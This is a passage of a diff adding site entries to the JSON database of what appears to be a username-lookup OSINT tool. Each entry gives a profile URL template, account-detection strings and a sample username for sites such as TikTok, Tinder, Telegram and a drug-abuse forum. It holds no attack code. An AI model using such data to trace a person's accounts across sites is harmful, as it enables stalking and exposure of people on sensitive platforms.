+ "disabled": true + }, + "Sysadmins": { + "tags": [ + "forum", + "ru", + "tech" + ], + "checkType": "message", + "absenceStrs": [ + "Could not obtain user posts information" + ], + "alexaRank": 163279, + "urlMain": "https://sysadmins.ru", + "url": "https://sysadmins.ru/member{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sythe": { + "tags": [ + "ca", + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 47177, + "urlMain": "https://www.sythe.org", + "usernameClaimed": "rskingp", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Szerokikadr.pl": { + "checkType": "message", + "absenceStrs": [ + "Nie masz jeszcze konta?" + ], + "presenseStrs": [ + "Profil u\u017cytkownika" + ], + "url": "https://www.szerokikadr.pl/profil,{username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Szmer.info": { + "checkType": "message", + "absenceStrs": [ + "Code: Couldn't find that username or email." + ], + "presenseStrs": [ + "Joined" + ], + "url": "https://szmer.info/u/{username}", + "usernameClaimed": "Xavier", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "T-MobileSupport": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 990, + "urlMain": "https://support.t-mobile.com", + "url": "https://support.t-mobile.com/people/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Tanuki.pl": { + "checkType": "message", + "absenceStrs": [ + "Nie ma takiego u\u017cytkownika" + ], + "presenseStrs": [ + "Do\u0142\u0105czy\u0142" + ], + "url": "https://tanuki.pl/profil/{username}", + "usernameClaimed": "ania", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Taskrabbit": { + "checkType": "message", + "absenceStrs": [ + "TaskRabbit: Same Day Handyman, Moving & Delivery Services" + ], + "presenseStrs": [ + "\u2019s Profile" + ], + "url": "https://www.taskrabbit.com/profile/{username}/about", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TEENUS": { + "checkType": "message", + "presenseStrs": [ + "user-profile" + ], + "absenceStrs": [ + "Viimati lisatud" + ], + "alexaRank": 2699414, + "urlMain": "http://www.teenus.info", + "url": "http://www.teenus.info/kasutaja/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "business", + "ee" + ], + "disabled": true + }, + "Teknik": { + "checkType": "message", + "absenceStrs": [ + "The user does not exist" + ], + "presenseStrs": [ + "Public Key" + ], + "url": "https://user.teknik.io/{username}", + "usernameClaimed": "bob", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tenor.com": { + "checkType": "message", + "regexCheck": "^[A-Za-z0-9_]{2,32}$", + "absenceStrs": [ + "404 Error" + ], + "presenseStrs": [ + "s GIFs on Tenor" + ], + "url": "https://tenor.com/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tetr.io": { + "checkType": "message", + "absenceStrs": [ + "No such user!" + ], + "presenseStrs": [ + "success\":true" + ], + "url": "https://ch.tetr.io/api/users/{username}", + "usernameClaimed": "osk", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tf2Items": { + "checkType": "message", + "absenceStrs": [ + "TF2 Backpack Examiner" + ], + "presenseStrs": [ + "TF2 Backpack -" + ], + "url": "http://www.tf2items.com/id/{username}/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tfl.net.pl": { + "checkType": "message", + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "presenseStrs": [ + "@tfl.net.pl" + ], + "url": "https://tfl.net.pl/@{username}", + "usernameClaimed": "manies", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Thegatewaypundit": { + "checkType": "message", + "absenceStrs": [ + "Oops! That page can\u2019t be found." + ], + "presenseStrs": [ + "avatar avatar-50 photo" + ], + "url": "https://www.thegatewaypundit.com/author/{username}/", + "usernameClaimed": "patti", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thetattooforum": { + "checkType": "message", + "absenceStrs": [ + "We\u2019re sorry" + ], + "presenseStrs": [ + "Insert This Gallery" + ], + "url": "https://www.thetattooforum.com/members/{username}/", + "usernameClaimed": "mixdop", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TJournal": { + "disabled": true, + "similarSearch": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041c\u044b \u0432\u0441\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 :(" + ], + "alexaRank": 10279, + "urlMain": "https://tjournal.ru", + "url": "https://tjournal.ru/search/v2/subsite/relevant?query={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tldrlegal.com": { + "checkType": "message", + "regexCheck": "^[a-zA-Z0-9]{3,20}$", + "absenceStrs": [ + "Page Not Found - TLDRLegal" + ], + "presenseStrs": [ + "s Profile - TLDRLegal" + ], + "url": "https://tldrlegal.com/users/{username}/", + "usernameClaimed": "kevin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TRASHBOX.RU": { + "tags": [ + "az", + "ru" + ], + "regexCheck": "^[A-Za-z0-9_-]{3,16}$", + "checkType": "message", + "absenceStrs": [ + "404 \u2014 Not found" + ], + "urlMain": "https://trashbox.ru/", + "url": "https://trashbox.ru/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "never-never-ever", + "alexaRank": 16644 + }, + "TVTropes": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 11858, + "urlMain": "https://tvtropes.org", + "url": "https://tvtropes.org/pmwiki/pmwiki.php/Tropers/{username}", + "usernameClaimed": "Chabal2", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tabun": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 917529, + "urlMain": "https://tabun.everypony.ru", + "url": "https://tabun.everypony.ru/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TalkDrugabuse": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 217212, + "urlMain": "https://talk.drugabuse.com", + "url": "https://talk.drugabuse.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Talks.by": { + "disabled": true, + "tags": [ + "by", + "forum" + ], + "engine": "vBulletin", + "alexaRank": 17739, + "urlMain": "https://talks.by", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Talkstats": { + "tags": [ + "au" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 186559, + "urlMain": "https://www.talkstats.com", + "url": "https://www.talkstats.com/members/?username={username}", + "usernameClaimed": "johnlee", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TamTam": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "data-tsid=\"avatar\"" + ], + "absenceStrs": [ + "Pv3WuoqzAb05NxqHCgZ29Z2jmQ" + ], + "alexaRank": 142765, + "urlMain": "https://tamtam.chat/", + "url": "https://tamtam.chat/{username}", + "errorUrl": "https://tamtam.chat/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tanks": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://tanks.mail.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Taplink": { + "disabled": true, + "tags": [ + "links", + "ru" + ], + "checkType": "status_code", + "urlMain": "https://taplink.cc/", + "url": "https://taplink.cc/{username}", + "usernameClaimed": "taplink.ru", + "usernameUnclaimed": "noonewouldeverusethis77777", + "alexaRank": 4798 + }, + "TechPowerUp": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 4382, + "urlMain": "https://www.techpowerup.com", + "url": "https://www.techpowerup.com/forums/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Techdirt": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 17796, + "urlMain": "https://www.techdirt.com/", + "url": "https://www.techdirt.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Techrepublic": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 3127, + "urlMain": "https://www.techrepublic.com", + "url": "https://www.techrepublic.com/members/profile/{username}/", + "usernameClaimed": "Kentertainments75", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Telegram": { + "tags": [ + "messaging" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_]{4,}$", + "checkType": "message", + "absenceStrs": [ + "<meta name=\"robots\" content=\"noindex, nofollow\">", + "<meta property=\"twitter:title\" content=\"Telegram: Contact" + ], + "alexaRank": 154, + "urlMain": "https://t.me/", + "url": "https://t.me/{username}", + "usernameClaimed": "BotFather", + "usernameUnclaimed": "noonewouldevereverusethis9" + }, + "Teletype": { + "tags": [ + "in", + "writing" + ], + "checkType": "status_code", + "alexaRank": 12440, + "urlMain": "https://teletype.in", + "url": "https://teletype.in/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tellonym.me": { + "tags": [ + "de", + "fr", + "sa", + "us" + ], + "checkType": "status_code", + "alexaRank": 49356, + "urlMain": "https://tellonym.me/", + "url": "https://tellonym.me/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Terminator": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://terminator-scc.net.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Terminatorium": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 110740, + "urlMain": "https://terminatorium.borda.ru/", + "url": "https://terminatorium.borda.ru/?32-{username}", + "usernameClaimed": "tengu", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Texasguntalk": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 810331, + "urlMain": "https://www.texasguntalk.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "The AnswerBank": { + "tags": [ + "gb", + "q&a" + ], + "checkType": "message", + "absenceStrs": [ + "Welcome to the AnswerBank" + ], + "alexaRank": 129670, + "urlMain": "https://www.theanswerbank.co.uk", + "url": "https://www.theanswerbank.co.uk/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheFastlaneForum": { + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 40275, + "urlMain": "https://www.thefastlaneforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheGuardian": { + "disabled": true, + "tags": [ + "news", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "<title>public profile | Identity | The Guardian" + ], + "alexaRank": 159, + "urlMain": "https://theguardian.com", + "url": "https://profile.theguardian.com/user/{username}", + "usernameClaimed": "frogprincess", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheOdysseyOnline": { + "tags": [ + "blog" + ], + "checkType": "status_code", + "alexaRank": 16462, + "urlMain": "https://www.theodysseyonline.com", + "url": "https://www.theodysseyonline.com/user/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheSimsResource": { + "tags": [ + "gaming" + ], + "checkType": "response_url", + "alexaRank": 12278, + "urlMain": "https://www.thesimsresource.com/", + "url": "https://www.thesimsresource.com/members/{username}/", + "usernameClaimed": "DanSimsFantasy", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheStudentRoom": { + "tags": [ + "forum", + "gb" + ], + "engine": "vBulletin", + "alexaRank": 8267, + "urlMain": "https://www.thestudentroom.co.uk", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheVerge": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 678, + "urlMain": "https://www.theverge.com", + "url": "https://www.theverge.com/users/{username}", + "usernameClaimed": "Patlex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheVillage.ru": { + "disabled": true, + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "The Village: \u043e\u0448\u0438\u0431\u043a\u0430 404, \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + ], + "alexaRank": 21538, + "urlMain": "https://www.the-village.ru/", + "url": "https://www.the-village.ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thebigboss": { + "tags": [ + "tr" + ], + "checkType": "status_code", + "alexaRank": 678092, + "urlMain": "http://thebigboss.org", + "url": "http://thebigboss.org/author/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thebuddyforum": { + "tags": [ + "forum", + "gaming" + ], + "engine": "XenForo", + "alexaRank": 831319, + "urlMain": "https://www.thebuddyforum.com", + "usernameClaimed": "tony", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thechive": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Posts By" + ], + "absenceStrs": [ + "Find something else." + ], + "alexaRank": 3293, + "urlMain": "https://thechive.com/", + "url": "https://thechive.com/author/{username}", + "usernameClaimed": "bhgilliland", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thedaftclub": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 746415, + "urlMain": "https://www.thedaftclub.com", + "url": "https://www.thedaftclub.com/forum/member.php/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thefirearmsforum": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name." + ], + "urlMain": "https://www.thefirearmsforum.com", + "url": "https://www.thefirearmsforum.com/members/?username={username}", + "usernameClaimed": "willieb", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 668602 + }, + "Thelion": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "We are sorry but the following error has occurred." + ], + "alexaRank": 149542, + "urlMain": "http://www.thelion.com", + "url": "http://www.thelion.com/bin/profile.cgi?c=s&ru_name={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ThemeForest": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 515, + "urlMain": "https://themeforest.net", + "url": "https://themeforest.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thephysicsforum": { + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 5348693, + "urlMain": "https://www.thephysicsforum.com", + "url": "https://www.thephysicsforum.com/members/{username}.html", + "usernameClaimed": "andrewc", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "TikTok": { + "tags": [ + "video" + ], + "headers": { + "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" + }, + "errors": { + "tiktok-verify-page": "Captcha detected" + }, + "checkType": "message", + "presenseStrs": [ + "\"nickname\":" + ], + "absenceStrs": [ + "serverCode\":404" + ], + "alexaRank": 98, + "urlMain": "https://www.tiktok.com/", + "url": "https://www.tiktok.com/@{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis1" + }, + "TikTok Online Viewer": { + "disabled": true, + "tags": [ + "us" + ], + "errors": { + "Website unavailable": "Site error", + "is currently offline": "Site error" + }, + "checkType": "message", + "absenceStrs": [ + "Not Found - TTonlineviewer" + ], + "source": "TikTok", + "alexaRank": 5826276, + "urlMain": "https://ttonlineviewer.com", + "url": "https://ttonlineviewer.com/user/{username}", + "usernameClaimed": "rednec", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tinder": { + "tags": [ + "dating", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "twitter:title\" content=\"Tinder |", + "Tinder |", + "<title data-react-helmet=\"true\">" + ], + "alexaRank": 960, + "urlMain": "https://tinder.com/", + "url": "https://www.tinder.com/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tkgr": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "http://tkgr.ru/", + "url": "http://tkgr.ru/forum/member/{username}", + "usernameClaimed": "siber", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tl": { + "tags": [ + "de", + "dk", + "us" + ], + "checkType": "status_code", + "alexaRank": 49023, + "urlMain": "https://tl.net", + "url": "https://tl.net/forum/profile.php?user={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TomsHardware": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found.", + "The requested page could not be found." + ], + "alexaRank": 2037, + "urlMain": "https://forums.tomshardware.com/", + "url": "https://forums.tomshardware.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tomtom": { + "disabled": true, + "tags": [ + "de", + "in", + "it", + "nl", + "no", + "us" + ], + "checkType": "status_code", + "alexaRank": 23370, + "urlMain": "https://discussions.tomtom.com/", + "url": "https://discussions.tomtom.com/en/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Torrent-soft": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 57590, + "urlMain": "https://torrent-soft.net", + "url": "https://torrent-soft.net/user/{username}/", + "usernameClaimed": "Baguvix", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Toster": { + "tags": [ + "coding", + "ru" + ], + "checkType": "status_code", + "alexaRank": 1265, + "urlMain": "https://qna.habr.com/", + "url": "https://qna.habr.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TotalStavki": { + "disabled": true, + "ignore403": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 4592979, + "urlMain": "https://totalstavki.ru", + "url": "https://totalstavki.ru/forum/members/?username={username}", + "usernameClaimed": "turbo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Totseans": { + "checkType": "status_code", + "alexaRank": 7214531, + "urlMain": "http://www.totseans.com/bbs/profile/Vizier", + "url": "http://www.totseans.com/bbs/profile/{username}", + "usernameClaimed": "Vizier", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "Touristlink": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Members across the World" + ], + "alexaRank": 122492, + "urlMain": "https://www.touristlink.com", + "url": "https://www.touristlink.com/user/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anilist": { + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "/img/404/" + ], + "presenseStrs": [ + "/user/uehkon/animelist" + ], + "url": "https://anilist.co/user/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tproger": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "404" + ], + "alexaRank": 36445, + "urlMain": "https://tproger.ru", + "url": "https://tproger.ru/author/{username}/", + "usernameClaimed": "NickPrice", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "TrackmaniaLadder": { + "disabled": true, + "tags": [ + "au" + ], + "checkType": "message", + "absenceStrs": [ + "player unknown or invalid" + ], + "urlMain": "http://en.tm-ladder.com/index.php", + "url": "http://en.tm-ladder.com/{username}_rech.php", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis", + "alexaRank": 7229230 + }, + "TradingView": { + "tags": [ + "trading", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "tv-profile" + ], + "absenceStrs": [ + "Page not found \u2014 TradingView" + ], + "alexaRank": 61, + "urlMain": "https://www.tradingview.com/", + "url": "https://www.tradingview.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Trainsim": { + "urlSubpath": "/vbts", + "disabled": true, + "tags": [ + "forum", + "in" + ], + "engine": "vBulletin", + "alexaRank": 81136, + "urlMain": "https://www.trainsim.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Trakt": { + "tags": [ + "de", + "fr" + ], + "checkType": "status_code", + "alexaRank": 7650, + "urlMain": "https://www.trakt.tv/", + "url": "https://www.trakt.tv/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Traktrain": { + "checkType": "status_code", + "url": "https://traktrain.com/{username}", + "usernameClaimed": "traktrain", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Travelblog": { + "tags": [ + "blog", + "travel" + ], + "checkType": "status_code", + "alexaRank": 84207, + "urlMain": "https://www.travelblog.org", + "url": "https://www.travelblog.org/Bloggers/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TravellersPoint": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Wooops. Sorry!" + ], + "alexaRank": 68105, + "urlMain": "https://www.travellerspoint.com", + "url": "https://www.travellerspoint.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Travis": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "Discourse", + "alexaRank": 471134, + "urlMain": "https://travis-ci.community", + "usernameClaimed": "montana", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Trello": { + "tags": [ + "tasks" + ], + "urlProbe": "https://trello.com/1/Members/{username}", + "checkType": "message", + "absenceStrs": [ + "model not found" + ], + "alexaRank": 163, + "urlMain": "https://trello.com/", + "url": "https://trello.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Trinixy": { + "tags": [ + "news", + "ru" + ], + "checkType": "status_code", + "alexaRank": 38880, + "urlMain": "https://trinixy.ru", + "url": "https://trinixy.ru/user/{username}/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TripAdvisor": { + "tags": [ + "travel" + ], + "checkType": "message", + "absenceStrs": [ + "This page is on vacation\u2026" + ], + "headers": { + "Accept-Language": "en-US,en;q=0.5" + }, + "alexaRank": 348, + "urlMain": "https://tripadvisor.com/", + "url": "https://tripadvisor.com/members/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tripline": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 104988, + "urlMain": "https://www.tripline.net", + "url": "https://www.tripline.net/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tripster": { + "tags": [ + "de", + "ru" + ], + "checkType": "status_code", + "alexaRank": 39599, + "urlMain": "https://tripster.ru", + "url": "https://tripster.ru/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Trisquel": { + "tags": [ + "eu", + "in" + ], + "checkType": "status_code", + "alexaRank": 548123, + "urlMain": "https://trisquel.info", + "url": "https://trisquel.info/it/users/{username}", + "usernameClaimed": "redfox", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TruckersMP.com": { + "tags": [ + "de", + "forum", + "tr" + ], + "checkType": "message", + "absenceStrs": [ + "There were no results for your search.", + "Forums currently down for maintenance. No ETA on return." + ], + "alexaRank": 32270, + "urlMain": "https://forum.truckersmp.com", + "url": "https://forum.truckersmp.com/index.php?/search/&q={username}&type=core_members", + "usernameClaimed": "ireacher", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TruckersMP.ru": { + "disabled": true, + "tags": [ + "gaming", + "ru" + ], + "checkType": "status_code", + "urlMain": "https://truckersmp.ru", + "url": "https://truckersmp.ru/{username}", + "usernameClaimed": "RamanBY", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TrueAchievements": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 19227, + "urlMain": "https://www.trueachievements.com", + "url": "https://www.trueachievements.com/gamer/{username}", + "usernameClaimed": "metallicafan459", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Truelancer": { + "tags": [ + "in" + ], + "checkType": "message", + "presenseStrs": [ + "https://schema.org/BreadcrumbList" + ], + "absenceStrs": [ + "This page could not be found." + ], + "alexaRank": 9186, + "urlMain": "https://www.truelancer.com", + "url": "https://www.truelancer.com/freelancer/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Truesteamachievements": { + "tags": [ + "az", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 110281, + "urlMain": "https://truesteamachievements.com", + "url": "https://truesteamachievements.com/gamer/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Truthbook": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "us" + ], + "engine": "phpBB", + "alexaRank": 551363, + "urlMain": "https://truthbook.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TryHackMe": { + "tags": [ + "hacking", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Found. Redirecting to /404" + ], + "presenseStrs": [ + "heatmap-user-activity" + ], + "alexaRank": 23474, + "urlMain": "https://tryhackme.com/", + "url": "https://tryhackme.com/p/{username}", + "usernameClaimed": "ashu", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tumblr": { + "tags": [ + "blog" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Not found.", + ":404,", + "userAgent", + ",displayStatus:" + ], + "alexaRank": 112, + "urlMain": "https://www.tumblr.com", + "url": "https://www.tumblr.com/{username}", + "usernameClaimed": "soxoj", + "usernameUnclaimed": "zdbimdoqyt", + "presenseStrs": [ + "profile", + " title=" + ] + }, + "Tunefind": { + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "Achievements" + ], + "url": "https://www.tunefind.com/user/profile/{username}", + "usernameClaimed": "baywolfmusic", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tv-games": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 1167240, + "urlMain": "http://tv-games.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Twitcasting": { + "checkType": "message", + "absenceStrs": [ + "Not Found" + ], + "presenseStrs": [ + "Live History" + ], + "url": "https://twitcasting.tv/{username}", + "usernameClaimed": "2_t0_", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Twitch": { + "tags": [ + "streaming", + "us" + ], + "urlProbe": "https://twitchtracker.com/{username}", + "checkType": "status_code", + "alexaRank": 34, + "urlMain": "https://www.twitch.tv/", + "url": "https://twitchtracker.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nitter": { + "tags": [ + "messaging" + ], + "headers": { + "Accept-Language": "en-US,en;q=0.5" + }, + "regexCheck": "^[a-zA-Z0-9_]{1,15}$", + "checkType": "message", + "absenceStrs": [ + "Error | nitter", + "The requested URL was not found on this server.", + "
    " + ], + "presenseStrs": [ + "
